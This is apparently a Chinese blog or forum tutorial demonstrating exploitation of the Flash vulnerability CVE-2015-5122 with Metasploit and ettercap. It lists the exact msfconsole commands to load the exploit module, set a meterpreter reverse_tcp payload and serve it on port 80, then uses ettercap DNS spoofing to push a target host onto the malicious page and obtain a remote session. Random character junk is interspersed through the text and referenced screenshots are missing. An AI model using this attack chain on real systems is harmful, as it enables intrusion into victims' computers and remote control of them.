cve2015-5122漏洞实例演示虚拟机

admin

1 [. Z; I, N) Q# { 二、cve2015-5122漏洞实例演示虚拟机 3 U9 o: Q7 w9 U$ k# d9 F }

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

4 o# i$ A i A6 D0 h/ J% {; k

search cve-2015-5122如图：

$ q* a1 F% r9 e! ~* s% ]

 

2 O# A! c# t5 f

. F# m) k/ \8 `9 e6 o: i 下面我们敲如下命令： ; q: A1 i( y: f' G* X' i; x5 B

use exploit/multi/browser/adobe_flash_opaque_background_uaf

% t) s% F& n/ {

set PAYLOAD windows/meterpreter/reverse_tcp

7 u6 Q) `% C" _; C8 Y4 L, l8 W

set LHOST 192.168.0.109 + u6 U$ w9 [3 H; L

7 ]3 v9 E! i* o/ Q+ i' _5 G' C Y

r# l6 I* p. _8 N$ t, g set URIPATH /                        /*根目录*/

& Z6 R7 \7 y- D4 {: l

* b6 U; B: l2 }/ H set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

" S! Z2 V- l+ K

& t. ~8 ^2 ]$ ^: n# A$ V set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 2 o$ O9 X/ K# `0 u# p

) B: G) a2 }* [0 o. I- L

1 x7 j! y! f) I8 E/ p 然后show options如图： 4 I8 E: d6 N# ]& k/ q3 J

! N& ]. u' H2 Q8 n8 }

 

/ C$ U6 p) w+ S

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

* `0 U5 ]3 w( G

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

, E4 }# S) Q* a r% N; k$ A   3 R5 E8 I) G8 q- T

( Y/ e- o/ u3 b: D

3 |. t$ b2 ?+ ?: O 成功了，这时候我们断开ettercap，如图：

7 { V {) \8 @" W, s1 X1 q8 G, M   ; E0 _: A7 F6 e$ b" u/ {1 y

Screenshot如图： % a2 z) P! [% n0 g) V0 v

( F3 j( W1 h0 r0 H" @   W) K2 A8 j* Q! M

E! j1 J" ?. v1 }4 Q1 _$ Q . |" e9 s3 ^' J% w